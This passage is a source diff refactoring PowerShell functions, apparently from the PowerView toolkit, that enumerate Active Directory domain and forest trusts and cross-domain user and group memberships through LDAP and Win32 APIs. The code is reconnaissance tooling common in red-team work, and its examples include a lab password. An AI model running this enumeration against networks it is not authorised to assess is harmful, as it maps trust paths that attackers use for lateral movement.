+ [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { + BEGIN { $TrustAttributes = @{ [uint32]'0x00000001' = 'non_transitive' [uint32]'0x00000002' = 'uplevel_only' @@ -12621,33 +17086,61 @@ function Get-NetDomainTrust { [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' [uint32]'0x00000400' = 'pim_trust' } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } } - process { + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } - if(-not $Domain) { - # if not domain is specified grab the current domain - $SourceDomain = (Get-NetDomain -Credential $Credential).Name + $NetSearcherArguments['Domain'] = $SourceDomain + if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential } } else { - $SourceDomain = $Domain + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } } - if($LDAP -or $ADSPath) { - - $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments - $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController - - if($TrustSearcher) { + if ($TrustSearcher) { $TrustSearcher.Filter = '(objectClass=trustedDomain)' - $Results = $TrustSearcher.FindAll() + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject - + $TrustAttrib = @() $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } @@ -12657,8 +17150,10 @@ function Get-NetDomainTrust { 2 { 'Outbound' } 3 { 'Bidirectional' } } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] @@ -12666,86 +17161,88 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" - $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') $DomainTrust } - $Results.dispose() + try { $Results.dispose() } catch {} $TrustSearcher.dispose() } } - elseif($API) { - if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null } - if($DomainController) { - # arguments for DsEnumerateDomainTrusts - $PtrInfo = [IntPtr]::Zero - - # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND - $Flags = 63 - $DomainCount = 0 + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero - # get the trust information from the target server - $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $DS_DOMAIN_TRUSTS::GetSize() + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # parse all the result structures - for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS - $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - else { - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController - $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName - $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName - $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags - $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex - $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes - $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString - $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid - $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') - $DomainTrust - } + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { - Write-Verbose "Could not retrieve domain controller for $Domain" + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { - # if we're using direct domain connections through .NET - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { $FoundDomain.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') $_ } } @@ -12754,50 +17251,83 @@ function Get-NetDomainTrust { } -function Get-NetForestTrust { +function Get-ForestTrust { <# - .SYNOPSIS +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential - Return all trusts for the current forest. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Forest +.EXAMPLE - Return trusts for the specified forest. +Get-ForestTrust - .PARAMETER Credential +Return current forest trusts. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-ForestTrust -Forest "external.local" - PS C:\> Get-NetForestTrust +Return trusts for the "external.local" forest. - Return current forest trusts. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred - PS C:\> Get-NetForestTrust -Forest "test" +Return trusts for the "external.local" forest using the specified alternate credenitals. - Return trusts for the "test" forest. +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - process { - $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } - if($FoundForest) { + $FoundForest = Get-Forest @NetForestArguments + + if ($FoundForest) { $FoundForest.GetAllTrustRelationships() | ForEach-Object { - $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') $_ } } @@ -12805,391 +17335,593 @@ function Get-NetForestTrust { } -function Find-ForeignUser { +function Get-DomainForeignUser { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. - Enumerates users who are in groups outside of their - principal domain. The -Recurse option will try to map all - transitive domain trust relationships and enumerate all - users who are in groups outside of their principal domain. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser - .PARAMETER UserName +.DESCRIPTION - Username to filter results for, wildcards accepted. +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. - .PARAMETER Domain +.PARAMETER Domain - Domain to query for users, defaults to the current domain. +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER DomainController +.PARAMETER LDAPFilter - Domain controller to reflect LDAP queries through. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER LDAP +.PARAMETER Properties - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +Specifies the properties of the output object to retrieve from the server. - .PARAMETER Recurse +.PARAMETER SearchBase - Switch. Enumerate all user trust groups from all reachable domains recursively. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER PageSize +.PARAMETER Server - The PageSize to set for the LDAP searcher object. +Specifies an Active Directory server (domain controller) to bind to. - .LINK +.PARAMETER SearchScope - http://blog.harmj0y.net/ +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignUser + +Return all users in the current domain who are in groups not in the +current domain. + +.EXAMPLE + +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] [CmdletBinding()] - param( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - $UserName, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Domain, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, - [Switch] - $LDAP, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $Recurse, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - function Get-ForeignUser { - # helper used to enumerate users who are in groups outside of their principal domain - param( - [String] - $UserName, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - [String] - $Domain, + [Switch] + $Tombstone, - [String] - $DomainController, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } - if ($Domain) { - # get the domain name into distinguished form - $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN } else { - $DistinguishedDomainName = [String] ([adsi]'').distinguishedname - $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + throw "[Get-DomainForeignUser] No domain found to enumerate!" } - Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { + Get-DomainUser @SearcherArguments | ForEach-Object { ForEach ($Membership in $_.memberof) { - $Index = $Membership.IndexOf("DC=") - if($Index) { - - $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' - - if ($GroupDomain.CompareTo($Domain)) { - # if the group domain doesn't match the user domain, output - $GroupName = $Membership.split(",")[0].split("=")[1] + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $TargetDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] $ForeignUser = New-Object PSObject - $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') $ForeignUser } } } } } - - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique - } - - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize - } - } - else { - Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize - } } -function Find-ForeignGroup { +function Get-DomainForeignGroupMember { <# - .SYNOPSIS +.SYNOPSIS - Enumerates all the members of a given domain's groups - and finds users that are not in the queried domain. - The -Recurse flag will perform this enumeration for all - eachable domain trusts. +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. - .PARAMETER GroupName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup - Groupname to filter results for, wildcards accepted. +.DESCRIPTION - .PARAMETER Domain +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. - Domain to query for groups, defaults to the current domain. +.PARAMETER Domain - .PARAMETER DomainController +Specifies the domain to use for the query, defaults to the current domain. - Domain controller to reflect LDAP queries through. +.PARAMETER LDAPFilter - .PARAMETER LDAP +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +.PARAMETER Properties - .PARAMETER Recurse +Specifies the properties of the output object to retrieve from the server. - Switch. Enumerate all group trust users from all reachable domains recursively. +.PARAMETER SearchBase - .PARAMETER PageSize +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - The PageSize to set for the LDAP searcher object. +.PARAMETER Server - .LINK +Specifies an Active Directory server (domain controller) to bind to. - http://blog.harmj0y.net/ -#> +.PARAMETER SearchScope - [CmdletBinding()] - param( - [String] - $GroupName = '*', +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - [String] - $Domain, +.PARAMETER ResultPageSize - [String] - $DomainController, +Specifies the PageSize to set for the LDAP searcher object. - [Switch] - $LDAP, +.PARAMETER ServerTimeLimit - [Switch] - $Recurse, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) +.PARAMETER SecurityMasks - function Get-ForeignGroup { - param( - [String] - $GroupName = '*', +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - [String] - $Domain, +.PARAMETER Tombstone - [String] - $DomainController, +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) +.PARAMETER Credential - if(-not $Domain) { - $Domain = (Get-NetDomain).Name - } +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" - Write-Verbose "DomainDN: $DomainDN" +.EXAMPLE - # standard group names to ignore - $ExcludeGroups = @("Users", "Domain Users", "Guests") +Get-DomainForeignGroupMember - # get all the groupnames for the given domain - Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { - # exclude common large groups - -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { - - $GroupName = $_.samAccountName +Return all group members in the current domain where the group and member differ. - $_.member | ForEach-Object { - # filter for foreign SIDs in the cn field for users in another domain, - # or if the DN doesn't end with the proper DN for the queried domain - if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { +.EXAMPLE - $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $UserName = $_.split(",")[0].split("=")[1] +Get-DomainForeignGroupMember -Domain dev.testlab.local - $ForeignGroupUser = New-Object PSObject - $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain - $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName - $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName - $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ - $ForeignGroupUser - } - } - } +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } } - if ($Recurse) { - # get all rechable domains in the trust mesh and uniquify them - if($LDAP -or $DomainController) { - $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN } else { - $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + throw "[Get-DomainForeignGroupMember] No domain found to enumerate!" } - ForEach($DomainTrust in $DomainTrusts) { - # get the trust groups for each domain in the trust mesh - Write-Verbose "Enumerating trust groups in domain $DomainTrust" - Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))" + + Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) { + + $MemberDistinguishedName = $_ + $MemberDomain = 